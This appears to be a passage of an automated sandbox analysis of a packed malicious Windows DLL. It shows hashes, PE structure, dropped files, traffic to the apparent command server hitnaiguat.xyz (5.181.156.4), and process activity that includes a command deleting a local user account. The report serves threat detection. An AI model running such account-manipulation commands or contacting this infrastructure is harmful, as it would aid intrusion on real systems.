	KeJ7Cl7flZ.exe	Get hash	malicious	Browse	5.181.156.4
	XC65ED9or6.exe	Get hash	malicious	Browse	5.181.156.4
	DHL invoice VNYI564714692.exe	Get hash	malicious	Browse	5.181.156.4
	Order-Poland.exe	Get hash	malicious	Browse	5.181.156.4
	Novi poredak.exe	Get hash	malicious	Browse	5.181.156.4
	Customer Remittance Advice 9876627262822662.exe	Get hash	malicious	Browse	5.181.156.4

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_loaddll64.exe_79112354f3f71b6f6a575af175e9c2c07ad4b86_2fcb7175_19e8e0b2\Report.wer Download File
Process:	C:\Windows\System32\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	14288
Entropy (8bit):	3.7503033860323733
Encrypted:	false
SSDEEP:	192:K4+WRrXAH0j5yZjZvkPOY/u7s0S274lt+C:qwrXo0dyZjpY/u7s0X4lt+C
MD5:	2E6CC753F0EC9BCA9F21502A52695241
SHA1:	824CEB6F930E77D1D90E7D1FE54A403E71F69BDD
SHA-256:	04FB834724F94AA997AB3E4E4EA1D51F6D0FC1BB7957AC6244562820CCE57303
SHA-512:	904AE2EC5342F914269741C2099B91D91C3E477B71E56D50B36CE5E9E39C8C4D2E501871F4AF6992E28A7E07F221DA268820DB330A4A6183FAC637EC265E4778
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.1.4.8.0.7.7.0.6.3.9.0.3.9.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.5.1.4.8.0.7.7.3.3.8.9.0.3.0.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.7.5.6.7.5.2.2.-.5.5.d.f.-.4.4.f.4.-.9.b.e.5.-.e.9.b.8.9.2.0.8.3.4.1.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.9.f.0.8.1.3.5.-.8.0.9.1.-.4.1.8.8.-.8.1.5.b.-.1.0.1.a.f.d.c.0.6.8.1.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.6.4...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.c.4.-.0.0.0.1.-.0.0.1.b.-.3.4.3.0.-.7.3.e.9.8.3.c.9.d.6.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.f.e.1.f.7.3.2.2.5.e.8.c.2.3.3.1.b.8.d.3.7.3.d.3.f.9.1.a.c.4.2.0.0.0.0.f.f.f.f.!.0.0.0.0.9.9.0.5.1.5.b.6.5.8.e.2.d.6.9.b.d.2.7.d.f.9.1.9.7.7.9.d.c.5.7.4.6.0.1.4.2.b.a.d.!.l.o.a.d.d.l.l.6.4...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.0././.1.1././.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1DD.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8744
Entropy (8bit):	3.7028718224539507
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiXh6V6Yrf2u/Pgmf54SSNKw+pDu89b/g1f8XVm:RrlsNiR6V6YTn/Pgmf54SSgT/afJ
MD5:	AAD05064FB454CCAF3ECB093FA2CDECB
SHA1:	A851BC4F9805A574EF5F5AFC09193478236F0143
SHA-256:	E2B81111A8677478FFE0AA35B29EF717181F84C1F14F6F7DAE8ADEDC22EB8F8B
SHA-512:	9FFB8B6DBE800C177384CC593743F310D6E2CF017E8FC62B2FBE313E6868F881E1728454CBBCD7B2E3BF4A46052A82F89EB47EB15EC7C9BF6196812581074CA2
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.0.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER316.tmp.xml Download File
Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4625
Entropy (8bit):	4.45767563035253
Encrypted:	false
SSDEEP:	48:cvIwSD8zstJgtBI9LzWSC8BU8fm8M4JRfFYAyq85iEFVknvYw4d:uITfHRCSNXJXGFCvt4d
MD5:	7F7FC9E0C43601BA8DAC69683CB9474B
SHA1:	4864D3BC804E9B0E3D4BC0B63554201571E8DD09
SHA-256:	B2386F11E90A44B64367E2696A8894BF9F37261938319E518D47C6FAB1164C15
SHA-512:	C72C6ACA09795609D0BA1B423FCCE1D8B770A0870DD42DEC46D3A5C0EC9E8DA0361D260D0B80B686AFD75AE59B3338B20D967893EA5FA8276F1BEDC0CEBB1B7A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="756003" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC3E.tmp.dmp Download File
Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 3 14:52:51 2020, 0x1205a4 type
Category:	dropped
Size (bytes):	178206
Entropy (8bit):	1.429943243836479
Encrypted:	false
SSDEEP:	384:YayNs4daHRsUOWaIM3Rs5mdomTfo4WxZq2zHgx6sURpzZ8r6Wh3gX3p:1us4daHRsUGN3R1omTfUrq0gx6a6Wd0
MD5:	84A856A7E08939AE99CFEDEA84E06C36
SHA1:	38BF59D7261ED618E49660B33AB99B05D957EE94
SHA-256:	F65F56C9966AB68D9BC63084791FE71DC8A60E4C3D0C96B1157B9D9CA46E33AB
SHA-512:	D096DF109E8E936F62A6A0A1A753882A43017790A00685325B9F58879898C0355570F7D29F5F726F7A75420A7F449A722A0204B9CB41CD444157091A5BE82143
Malicious:	false
Preview:	MDMP....... .........._...................U...........B.......)......Lw......................T.............._.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...a.m.d.6.4.,.1.0...0...1.7.1.3.4...1.......................................................................................................

C:\Users\user\AppData\Local\Temp\FPIXLWRM Download File
Process:	C:\Windows\System32\loaddll64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	5.1817198784922915
Encrypted:	false
SSDEEP:	3:UOtMASXv5OJdZ9UqTxRaBMqKLfddQK01HXNMLERfRvMJDunMovn:U6S/5OvVxcBZQf3f0kLefOJov
MD5:	DDB78DA819BC91AD508D08390AE3A054
SHA1:	6B3A871EC05136AD9AD9BFD06DE3BDF9E02AA92F
SHA-256:	AB5039671193F3E0DB88E27C9755B82FE0BA32ED534B3C7E9113B4708B93142B
SHA-512:	2004AD0DEC167A9E3EA536B701B4B747529F32D76996465781D73B4D6C705D21881D7A282D1CBBB70244793798FC0EFC650C2B4F7EF99B86C8B7782389386BBE
Malicious:	false
Preview:	jul12;Windows 10 (Version 10.0, Build 17134, 64-bit Edition);x64;user;nouser;winacc:WgaUtilAcc;ph9ZVf2Q;92392..

Static File Info

General
File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	7.997912954937728
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 68.65% UPX compressed Win32 Executable (30571/9) 20.57% Win64 Executable (generic) (12005/4) 8.08% Generic Win/DOS Executable (2004/3) 1.35% DOS Executable Generic (2002/1) 1.35%
File name:	mediasvc copy.dll
File size:	967168
MD5:	7be1e51fdc4a8174e82df8b2d6825f8e
SHA1:	0e20003e34874d330db3b7ecd7f5824055645e3b
SHA256:	6b6b820f47b2bf72296aa4ef031a80df04fb951ecf3accfed9bb0289373f45bc
SHA512:	c095b01538c7c23709852284aed3bc35864bbba1d6f4effa41655e403a74587277fdad5c02545da7f256392b23e6a9cdeefcf35481e2d36e59bab1a0370077c2
SSDEEP:	24576:XtE8wsC5inKOYXDUnBwfYb5QvFEIY2ucmzyw267NPC:XTLs1wos6cc0267N6
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7.......................................................................................................................................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x5ae380
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x10000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5F0BC77C [Mon Jul 13 02:31:24 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	4
File Version Major:	5
File Version Minor:	4
Subsystem Version Major:	5
Subsystem Version Minor:	4
Import Hash:	5f1a5d33cb08f2c4991f83d7db394565

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ecx
dec eax
mov dword ptr [esp+10h], edx
dec esp
mov dword ptr [esp+18h], eax
cmp dl, 00000001h
jne 00007F34B90B92DFh
push ebx
push esi
push edi
push ebp
dec eax
lea esi, dword ptr [FFF15C5Dh]
dec eax
lea edi, dword ptr [esi-004B3000h]
push edi
mov eax, 0059C16Ch
push eax
dec eax
mov ecx, esp
dec eax
mov edx, edi
dec eax
mov edi, esi
mov esi, 000EA37Bh
push ebp
dec eax
mov ebp, esp
inc esp
mov ecx, dword ptr [ecx]
dec ecx
mov eax, edx
dec eax
mov edx, esi
dec eax
lea esi, dword ptr [edi+02h]
push esi
mov al, byte ptr [edi]
dec edx
mov cl, al
and al, 07h
shr cl, 00000003h
dec eax
mov ebx, FFFFFD00h
dec eax
shl ebx, cl
mov cl, al
dec eax
lea ebx, dword ptr [esp+ebx*2-00000E78h]
dec eax
and ebx, FFFFFFC0h
push 00000000h
dec eax
cmp esp, ebx
jne 00007F34B90B870Bh
push ebx
dec eax
lea edi, dword ptr [ebx+08h]
mov cl, byte ptr [esi-01h]
dec edx
mov byte ptr [edi+02h], al
mov al, cl
shr cl, 00000004h
mov byte ptr [edi+01h], cl
and al, 0Fh
mov byte ptr [edi], al
dec eax
lea ecx, dword ptr [edi-04h]
push eax
inc ecx
push edi
dec eax
lea eax, dword ptr [edi+04h]
inc ebp
xor edi, edi
inc ecx
push esi
inc ecx
mov esi, 00000001h
inc ecx
push ebp
inc ebp
xor ebp, ebp
inc ecx
push esp
push ebp
push ebx
dec eax
mov dword ptr [esp-10h], ecx
dec eax
mov dword ptr [esp-28h], eax
mov eax, 00000001h
dec eax
mov dword ptr [esp-08h], esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x59fcd0	0xd4	.rsrc
IMAGE_DIRECTORY_ENTRY_IMPORT	0x59f930	0x3a0	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59f000	0x930	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x53c000	0x3cf54	UPX1
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x506000	0x6	UPX1
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x503000	0x1212	UPX1
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x4b3000	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
UPX1	0x4b4000	0xeb000	0xeb000	False	0.999005776263	ARC archive data, packed	7.99972664559	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x59f000	0x1000	0xe00	False	0.351004464286	data	3.55549750023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x579930	0x134	data	English	United States
RT_CURSOR	0x579a64	0x134	data	English	United States
RT_CURSOR	0x579b98	0x134	data	English	United States
RT_CURSOR	0x579ccc	0x134	data	English	United States
RT_CURSOR	0x579e00	0x134	data	English	United States
RT_CURSOR	0x579f34	0x134	data	English	United States
RT_CURSOR	0x57a068	0x134	data	English	United States
RT_STRING	0x57a19c	0x3ec	data
RT_STRING	0x57a588	0x368	data
RT_STRING	0x57a8f0	0x40c	COM executable for DOS
RT_STRING	0x57acfc	0xd4	data
RT_STRING	0x57add0	0xcc	data
RT_STRING	0x57ae9c	0x2cc	data
RT_STRING	0x57b168	0x3ac	data
RT_STRING	0x57b514	0x3b0	data
RT_STRING	0x57b8c4	0x3bc	data
RT_STRING	0x57bc80	0x414	data
RT_STRING	0x57c094	0x4c4	data
RT_STRING	0x57c558	0x558	data
RT_STRING	0x57cab0	0x2dc	data
RT_STRING	0x57cd8c	0x3bc	data
RT_STRING	0x57d148	0x378	data
RT_STRING	0x57d4c0	0x510	data
RT_STRING	0x57d9d0	0x53c	data
RT_STRING	0x57df0c	0x380	data
RT_STRING	0x57e28c	0x3d4	data
RT_STRING	0x57e660	0x414	data
RT_STRING	0x57ea74	0x138	data
RT_STRING	0x57ebac	0xcc	data
RT_STRING	0x57ec78	0x1f8	data
RT_STRING	0x57ee70	0x40c	data
RT_STRING	0x57f27c	0x390	data
RT_STRING	0x57f60c	0x310	data
RT_STRING	0x57f91c	0x2e8	data
RT_RCDATA	0x57fc04	0xc	data
RT_RCDATA	0x57fc10	0x10	Non-ISO extended-ASCII text, with no line terminators
RT_RCDATA	0x57fc20	0x7a0	data
RT_RCDATA	0x5803c0	0x159	data
RT_GROUP_CURSOR	0x58051c	0x14	Non-ISO extended-ASCII text	English	United States
RT_GROUP_CURSOR	0x580530	0x14	data	English	United States
RT_GROUP_CURSOR	0x580544	0x14	data	English	United States
RT_GROUP_CURSOR	0x580558	0x14	data	English	United States
RT_GROUP_CURSOR	0x58056c	0x14	data	English	United States
RT_GROUP_CURSOR	0x580580	0x14	data	English	United States
RT_GROUP_CURSOR	0x580594	0x14	data	English	United States

Imports

DLL	Import
advapi32.dll	RegLoadKeyW
comctl32.dll	ImageList_Add
gdi32.dll	Pie
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect
msvcrt.dll	memcpy
netapi32.dll	NetWkstaGetInfo
ole32.dll	OleDraw
oleaut32.dll	VariantInit
shell32.dll	ShellExecuteW
user32.dll	GetDC
version.dll	VerQueryValueW
winhttp.dll	WinHttpOpen
winspool.drv	ClosePrinter
Wtsapi32.dll	WTSFreeMemory

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0xad6b0
__dbk_fcall_wrapper	2	0x2be30
dbkFCallWrapperAddr	1	0x49c298
euefnaiw	5	0x4262a0
gusiezo3	6	0x4261e0
hitit	4	0x4262f0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2020 15:52:35.089778900 CET	49740	443	192.168.2.4	5.181.156.4
Dec 3, 2020 15:52:35.144726992 CET	443	49740	5.181.156.4	192.168.2.4
Dec 3, 2020 15:52:35.149090052 CET	49740	443	192.168.2.4	5.181.156.4
Dec 3, 2020 15:52:35.155551910 CET	49740	443	192.168.2.4	5.181.156.4
Dec 3, 2020 15:52:35.210463047 CET	443	49740	5.181.156.4	192.168.2.4
Dec 3, 2020 15:52:35.215367079 CET	443	49740	5.181.156.4	192.168.2.4
Dec 3, 2020 15:52:35.215411901 CET	443	49740	5.181.156.4	192.168.2.4
Dec 3, 2020 15:52:35.215436935 CET	443	49740	5.181.156.4	192.168.2.4
Dec 3, 2020 15:52:35.215590954 CET	49740	443	192.168.2.4	5.181.156.4
Dec 3, 2020 15:52:35.222596884 CET	49740	443	192.168.2.4	5.181.156.4
Dec 3, 2020 15:52:35.281742096 CET	443	49740	5.181.156.4	192.168.2.4
Dec 3, 2020 15:52:35.333452940 CET	49740	443	192.168.2.4	5.181.156.4
Dec 3, 2020 15:52:35.373291016 CET	49740	443	192.168.2.4	5.181.156.4
Dec 3, 2020 15:52:35.373730898 CET	49740	443	192.168.2.4	5.181.156.4
Dec 3, 2020 15:52:35.428510904 CET	443	49740	5.181.156.4	192.168.2.4
Dec 3, 2020 15:52:46.992223024 CET	49740	443	192.168.2.4	5.181.156.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2020 15:52:25.856897116 CET	55854	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:25.883210897 CET	53	55854	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:26.859575033 CET	64549	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:26.894212008 CET	53	64549	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:28.021080017 CET	63153	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:28.047425032 CET	53	63153	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:29.503525019 CET	52991	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:29.529587984 CET	53	52991	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:32.355606079 CET	53700	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:32.381675005 CET	53	53700	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:33.529457092 CET	51726	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:33.555624962 CET	53	51726	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:34.355046034 CET	56794	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:34.381167889 CET	53	56794	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:35.038105011 CET	56534	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:35.076292038 CET	53	56534	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:35.480837107 CET	56627	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:35.515355110 CET	53	56627	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:38.948534966 CET	56621	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:38.974627972 CET	53	56621	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:40.224188089 CET	63116	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:40.258690119 CET	53	63116	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:42.031430006 CET	64078	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:42.066442966 CET	53	64078	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:44.166969061 CET	64801	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:44.203794956 CET	53	64801	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:45.211930037 CET	61721	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:45.238080978 CET	53	61721	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:47.699316978 CET	51255	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:47.725534916 CET	53	51255	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:49.272108078 CET	61522	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:49.298297882 CET	53	61522	8.8.8.8	192.168.2.4
Dec 3, 2020 15:52:54.585472107 CET	52337	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:52:54.611776114 CET	53	52337	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:10.119601011 CET	55046	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:10.156373024 CET	53	55046	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:13.319103956 CET	49612	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:13.356868982 CET	53	49612	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:13.990766048 CET	49285	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:14.025850058 CET	53	49285	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:14.439161062 CET	50601	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:14.473927975 CET	53	50601	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:14.887893915 CET	60875	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:14.922708035 CET	53	60875	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:15.161716938 CET	56448	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:15.211390018 CET	53	56448	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:15.256277084 CET	59172	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:15.290766954 CET	53	59172	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:15.687552929 CET	62420	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:15.722265959 CET	53	62420	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:16.205612898 CET	60579	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:16.240014076 CET	53	60579	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:17.263675928 CET	50183	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:17.298337936 CET	53	50183	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:18.820414066 CET	61531	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:18.894948959 CET	53	61531	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:20.318783998 CET	49228	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:20.353596926 CET	53	49228	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:25.435956955 CET	59794	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:25.471545935 CET	53	59794	8.8.8.8	192.168.2.4
Dec 3, 2020 15:53:26.896398067 CET	55916	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:53:26.930969000 CET	53	55916	8.8.8.8	192.168.2.4
Dec 3, 2020 15:54:01.162615061 CET	52752	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:54:01.188993931 CET	53	52752	8.8.8.8	192.168.2.4
Dec 3, 2020 15:54:01.843058109 CET	60542	53	192.168.2.4	8.8.8.8
Dec 3, 2020 15:54:01.879997015 CET	53	60542	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 3, 2020 15:52:35.038105011 CET	192.168.2.4	8.8.8.8	0x4bfa	Standard query (0)	hitnaiguat.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 3, 2020 15:52:35.076292038 CET	8.8.8.8	192.168.2.4	0x4bfa	No error (0)	hitnaiguat.xyz		5.181.156.4	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Dec 3, 2020 15:52:35.215411901 CET	5.181.156.4	443	192.168.2.4	49740	CN=www.hitnaiguat.xyz CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Tue Nov 03 16:49:44 CET 2020 Thu Mar 17 17:40:46 CET 2016	Mon Feb 01 16:49:44 CET 2021 Wed Mar 17 17:40:46 CET 2021	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
Dec 3, 2020 15:52:35.215411901 CET	5.181.156.4	443	192.168.2.4	49740	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021		ce5f3254611a8c095a3d821d44539877

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll64.exe PID: 7108 Parent PID: 5824

General

Start time:	15:52:24
Start date:	03/12/2020
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe 'C:\Users\user\Desktop\mediasvc copy.dll'
Imagebase:	0x7ff7f6f00000
File size:	145920 bytes
MD5 hash:	60CEF63D678C884BE51A4BDBC9FC1ED5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Analysis Process: rundll32.exe PID: 7136 Parent PID: 7108

General

Start time:	15:52:25
Start date:	03/12/2020
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,TMethodImplementationIntercept
Imagebase:	0x7ff630ed0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 7164 Parent PID: 7108

General

Start time:	15:52:25
Start date:	03/12/2020
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C net.exe user WgaUtilAcc 000000 /del
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: net.exe PID: 1748 Parent PID: 7164

General

Start time:	15:52:26
Start date:	03/12/2020
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net.exe user WgaUtilAcc 000000 /del
Imagebase:	0x7ff7fdd20000
File size:	56832 bytes
MD5 hash:	15534275EDAABC58159DD0F8607A71E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: net1.exe PID: 6224 Parent PID: 1748

General

